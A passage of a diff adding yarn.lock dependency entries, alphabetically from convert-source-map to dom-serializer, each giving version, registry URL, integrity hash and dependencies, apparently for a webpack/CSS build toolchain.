+convert-source-map@^1.4.0, convert-source-map@^1.6.0, convert-source-map@^1.7.0:
+  version "1.9.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.9.0.tgz#7faae62353fb4213366d0ca98358d22e8368b05f"
+  integrity sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==
+
+convert-source-map@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-2.0.0.tgz#4b560f649fc4e918dd0ab75cf4961e8bc882d82a"
+  integrity sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==
+
+cookie-signature@1.0.6:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
+  integrity sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==
+
+cookie@0.7.1:
+  version "0.7.1"
+  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.7.1.tgz#2f73c42142d5d5cf71310a74fc4ae61670e5dbc9"
+  integrity sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==
+
+core-js-compat@^3.38.0, core-js-compat@^3.38.1:
+  version "3.39.0"
+  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.39.0.tgz#b12dccb495f2601dc860bdbe7b4e3ffa8ba63f61"
+  integrity sha512-VgEUx3VwlExr5no0tXlBt+silBvhTryPwCXRI2Id1PN8WTKu7MreethvddqOubrYxkFdv/RnYrqlv1sFNAUelw==
+  dependencies:
+    browserslist "^4.24.2"
+
+core-js-pure@^3.23.3:
+  version "3.39.0"
+  resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.39.0.tgz#aa0d54d70a15bdc13e7c853db87c10abc30d68f3"
+  integrity sha512-7fEcWwKI4rJinnK+wLTezeg2smbFFdSBP6E2kQZNbnzM2s1rpKQ6aaRteZSSg7FLU3P0HGGVo/gbpfanU36urg==
+
+core-js@^3.19.2:
+  version "3.39.0"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.39.0.tgz#57f7647f4d2d030c32a72ea23a0555b2eaa30f83"
+  integrity sha512-raM0ew0/jJUqkJ0E6e8UDtl+y/7ktFivgWvqw8dNSQeNWoSDLvQ1H/RN3aPXB9tBd4/FhyR4RDPGhsNIMsAn7g==
+
+core-util-is@~1.0.0:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.3.tgz#a6042d3634c2b27e9328f837b965fac83808db85"
+  integrity sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==
+
+cosmiconfig@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-6.0.0.tgz#da4fee853c52f6b1e6935f41c1a2fc50bd4a9982"
+  integrity sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==
+  dependencies:
+    "@types/parse-json" "^4.0.0"
+    import-fresh "^3.1.0"
+    parse-json "^5.0.0"
+    path-type "^4.0.0"
+    yaml "^1.7.2"
+
+cosmiconfig@^7.0.0:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-7.1.0.tgz#1443b9afa596b670082ea46cbd8f6a62b84635f6"
+  integrity sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==
+  dependencies:
+    "@types/parse-json" "^4.0.0"
+    import-fresh "^3.2.1"
+    parse-json "^5.0.0"
+    path-type "^4.0.0"
+    yaml "^1.10.0"
+
+cross-spawn@^7.0.0, cross-spawn@^7.0.2, cross-spawn@^7.0.3:
+  version "7.0.6"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f"
+  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
+  dependencies:
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
+
+crypto-random-string@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/crypto-random-string/-/crypto-random-string-2.0.0.tgz#ef2a7a966ec11083388369baa02ebead229b30d5"
+  integrity sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==
+
+css-blank-pseudo@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz#36523b01c12a25d812df343a32c322d2a2324561"
+  integrity sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+
+css-declaration-sorter@^6.3.1:
+  version "6.4.1"
+  resolved "https://registry.yarnpkg.com/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz#28beac7c20bad7f1775be3a7129d7eae409a3a71"
+  integrity sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==
+
+css-has-pseudo@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz#57f6be91ca242d5c9020ee3e51bbb5b89fc7af73"
+  integrity sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+
+css-loader@^6.5.1:
+  version "6.11.0"
+  resolved "https://registry.yarnpkg.com/css-loader/-/css-loader-6.11.0.tgz#33bae3bf6363d0a7c2cf9031c96c744ff54d85ba"
+  integrity sha512-CTJ+AEQJjq5NzLga5pE39qdiSV56F8ywCIsqNIRF0r7BDgWsN25aazToqAFg7ZrtA/U016xudB3ffgweORxX7g==
+  dependencies:
+    icss-utils "^5.1.0"
+    postcss "^8.4.33"
+    postcss-modules-extract-imports "^3.1.0"
+    postcss-modules-local-by-default "^4.0.5"
+    postcss-modules-scope "^3.2.0"
+    postcss-modules-values "^4.0.0"
+    postcss-value-parser "^4.2.0"
+    semver "^7.5.4"
+
+css-minimizer-webpack-plugin@^3.2.0:
+  version "3.4.1"
+  resolved "https://registry.yarnpkg.com/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz#ab78f781ced9181992fe7b6e4f3422e76429878f"
+  integrity sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==
+  dependencies:
+    cssnano "^5.0.6"
+    jest-worker "^27.0.2"
+    postcss "^8.3.5"
+    schema-utils "^4.0.0"
+    serialize-javascript "^6.0.0"
+    source-map "^0.6.1"
+
+css-prefers-color-scheme@^6.0.3:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz#ca8a22e5992c10a5b9d315155e7caee625903349"
+  integrity sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==
+
+css-select-base-adapter@^0.1.1:
+  version "0.1.1"
+  resolved "https://registry.yarnpkg.com/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz#3b2ff4972cc362ab88561507a95408a1432135d7"
+  integrity sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==
+
+css-select@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/css-select/-/css-select-2.1.0.tgz#6a34653356635934a81baca68d0255432105dbef"
+  integrity sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==
+  dependencies:
+    boolbase "^1.0.0"
+    css-what "^3.2.1"
+    domutils "^1.7.0"
+    nth-check "^1.0.2"
+
+css-select@^4.1.3:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/css-select/-/css-select-4.3.0.tgz#db7129b2846662fd8628cfc496abb2b59e41529b"
+  integrity sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==
+  dependencies:
+    boolbase "^1.0.0"
+    css-what "^6.0.1"
+    domhandler "^4.3.1"
+    domutils "^2.8.0"
+    nth-check "^2.0.1"
+
+css-tree@1.0.0-alpha.37:
+  version "1.0.0-alpha.37"
+  resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.0.0-alpha.37.tgz#98bebd62c4c1d9f960ec340cf9f7522e30709a22"
+  integrity sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==
+  dependencies:
+    mdn-data "2.0.4"
+    source-map "^0.6.1"
+
+css-tree@^1.1.2, css-tree@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.1.3.tgz#eb4870fb6fd7707327ec95c2ff2ab09b5e8db91d"
+  integrity sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==
+  dependencies:
+    mdn-data "2.0.14"
+    source-map "^0.6.1"
+
+css-what@^3.2.1:
+  version "3.4.2"
+  resolved "https://registry.yarnpkg.com/css-what/-/css-what-3.4.2.tgz#ea7026fcb01777edbde52124e21f327e7ae950e4"
+  integrity sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==
+
+css-what@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/css-what/-/css-what-6.1.0.tgz#fb5effcf76f1ddea2c81bdfaa4de44e79bac70f4"
+  integrity sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==
+
+cssdb@^7.1.0:
+  version "7.11.2"
+  resolved "https://registry.yarnpkg.com/cssdb/-/cssdb-7.11.2.tgz#127a2f5b946ee653361a5af5333ea85a39df5ae5"
+  integrity sha512-lhQ32TFkc1X4eTefGfYPvgovRSzIMofHkigfH8nWtyRL4XJLsRhJFreRvEgKzept7x1rjBuy3J/MurXLaFxW/A==
+
+cssesc@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
+  integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==
+
+cssnano-preset-default@^5.2.14:
+  version "5.2.14"
+  resolved "https://registry.yarnpkg.com/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz#309def4f7b7e16d71ab2438052093330d9ab45d8"
+  integrity sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==
+  dependencies:
+    css-declaration-sorter "^6.3.1"
+    cssnano-utils "^3.1.0"
+    postcss-calc "^8.2.3"
+    postcss-colormin "^5.3.1"
+    postcss-convert-values "^5.1.3"
+    postcss-discard-comments "^5.1.2"
+    postcss-discard-duplicates "^5.1.0"
+    postcss-discard-empty "^5.1.1"
+    postcss-discard-overridden "^5.1.0"
+    postcss-merge-longhand "^5.1.7"
+    postcss-merge-rules "^5.1.4"
+    postcss-minify-font-values "^5.1.0"
+    postcss-minify-gradients "^5.1.1"
+    postcss-minify-params "^5.1.4"
+    postcss-minify-selectors "^5.2.1"
+    postcss-normalize-charset "^5.1.0"
+    postcss-normalize-display-values "^5.1.0"
+    postcss-normalize-positions "^5.1.1"
+    postcss-normalize-repeat-style "^5.1.1"
+    postcss-normalize-string "^5.1.0"
+    postcss-normalize-timing-functions "^5.1.0"
+    postcss-normalize-unicode "^5.1.1"
+    postcss-normalize-url "^5.1.0"
+    postcss-normalize-whitespace "^5.1.1"
+    postcss-ordered-values "^5.1.3"
+    postcss-reduce-initial "^5.1.2"
+    postcss-reduce-transforms "^5.1.0"
+    postcss-svgo "^5.1.0"
+    postcss-unique-selectors "^5.1.1"
+
+cssnano-utils@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/cssnano-utils/-/cssnano-utils-3.1.0.tgz#95684d08c91511edfc70d2636338ca37ef3a6861"
+  integrity sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==
+
+cssnano@^5.0.6:
+  version "5.1.15"
+  resolved "https://registry.yarnpkg.com/cssnano/-/cssnano-5.1.15.tgz#ded66b5480d5127fcb44dac12ea5a983755136bf"
+  integrity sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==
+  dependencies:
+    cssnano-preset-default "^5.2.14"
+    lilconfig "^2.0.3"
+    yaml "^1.10.2"
+
+csso@^4.0.2, csso@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/csso/-/csso-4.2.0.tgz#ea3a561346e8dc9f546d6febedd50187cf389529"
+  integrity sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==
+  dependencies:
+    css-tree "^1.1.2"
+
+cssom@^0.4.4:
+  version "0.4.4"
+  resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.4.4.tgz#5a66cf93d2d0b661d80bf6a44fb65f5c2e4e0a10"
+  integrity sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==
+
+cssom@~0.3.6:
+  version "0.3.8"
+  resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.3.8.tgz#9f1276f5b2b463f2114d3f2c75250af8c1a36f4a"
+  integrity sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==
+
+cssstyle@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-2.3.0.tgz#ff665a0ddbdc31864b09647f34163443d90b0852"
+  integrity sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==
+  dependencies:
+    cssom "~0.3.6"
+
+damerau-levenshtein@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz#b43d286ccbd36bc5b2f7ed41caf2d0aba1f8a6e7"
+  integrity sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==
+
+data-urls@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/data-urls/-/data-urls-2.0.0.tgz#156485a72963a970f5d5821aaf642bef2bf2db9b"
+  integrity sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==
+  dependencies:
+    abab "^2.0.3"
+    whatwg-mimetype "^2.3.0"
+    whatwg-url "^8.0.0"
+
+data-view-buffer@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz#211a03ba95ecaf7798a8c7198d79536211f88570"
+  integrity sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz#9e80f7ca52453ce3e93d25a35318767ea7704735"
+  integrity sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-offset@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz#068307f9b71ab76dbbe10291389e020856606191"
+  integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+debug@2.6.9, debug@^2.6.0:
+  version "2.6.9"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
+  integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
+  dependencies:
+    ms "2.0.0"
+
+debug@4, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.2, debug@^4.3.4, debug@^4.3.6:
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
+  dependencies:
+    ms "^2.1.3"
+
+debug@^3.2.7:
+  version "3.2.7"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
+  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
+  dependencies:
+    ms "^2.1.1"
+
+decimal.js@^10.2.1:
+  version "10.4.3"
+  resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.4.3.tgz#1044092884d245d1b7f65725fa4ad4c6f781cc23"
+  integrity sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==
+
+dedent@^0.7.0:
+  version "0.7.0"
+  resolved "https://registry.yarnpkg.com/dedent/-/dedent-0.7.0.tgz#2495ddbaf6eb874abb0e1be9df22d2e5a544326c"
+  integrity sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==
+
+deep-is@^0.1.3, deep-is@~0.1.3:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831"
+  integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
+
+deepmerge@^4.2.2:
+  version "4.3.1"
+  resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.3.1.tgz#44b5f2147cd3b00d4b56137685966f26fd25dd4a"
+  integrity sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==
+
+default-gateway@^6.0.3:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/default-gateway/-/default-gateway-6.0.3.tgz#819494c888053bdb743edbf343d6cdf7f2943a71"
+  integrity sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==
+  dependencies:
+    execa "^5.0.0"
+
+define-data-property@^1.0.1, define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
+define-lazy-prop@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz#3f7ae421129bcaaac9bc74905c98a0009ec9ee7f"
+  integrity sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==
+
+define-properties@^1.1.3, define-properties@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz#10781cc616eb951a80a034bafcaa7377f6af2b6c"
+  integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==
+  dependencies:
+    define-data-property "^1.0.1"
+    has-property-descriptors "^1.0.0"
+    object-keys "^1.1.1"
+
+delayed-stream@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
+  integrity sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==
+
+depd@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df"
+  integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==
+
+depd@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
+  integrity sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==
+
+destroy@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.2.0.tgz#4803735509ad8be552934c67df614f94e66fa015"
+  integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==
+
+detect-newline@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651"
+  integrity sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==
+
+detect-node@^2.0.4:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.1.0.tgz#c9c70775a49c3d03bc2c06d9a73be550f978f8b1"
+  integrity sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==
+
+detect-port-alt@^1.1.6:
+  version "1.1.6"
+  resolved "https://registry.yarnpkg.com/detect-port-alt/-/detect-port-alt-1.1.6.tgz#24707deabe932d4a3cf621302027c2b266568275"
+  integrity sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==
+  dependencies:
+    address "^1.0.1"
+    debug "^2.6.0"
+
+didyoumean@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/didyoumean/-/didyoumean-1.2.2.tgz#989346ffe9e839b4555ecf5666edea0d3e8ad037"
+  integrity sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==
+
+diff-sequences@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-27.5.1.tgz#eaecc0d327fd68c8d9672a1e64ab8dccb2ef5327"
+  integrity sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==
+
+dir-glob@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f"
+  integrity sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==
+  dependencies:
+    path-type "^4.0.0"
+
+dlv@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/dlv/-/dlv-1.1.3.tgz#5c198a8a11453596e751494d49874bc7732f2e79"
+  integrity sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==
+
+dns-packet@^5.2.2:
+  version "5.6.1"
+  resolved "https://registry.yarnpkg.com/dns-packet/-/dns-packet-5.6.1.tgz#ae888ad425a9d1478a0674256ab866de1012cf2f"
+  integrity sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==
+  dependencies:
+    "@leichtgewicht/ip-codec" "^2.0.1"
+
+doctrine@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d"
+  integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==
+  dependencies:
+    esutils "^2.0.2"
+
+doctrine@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
+  integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
+  dependencies:
+    esutils "^2.0.2"
+
+dom-converter@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/dom-converter/-/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768"
+  integrity sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==
+  dependencies:
+    utila "~0.4"
+
+dom-serializer@0:
+  version "0.2.2"
+  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51"
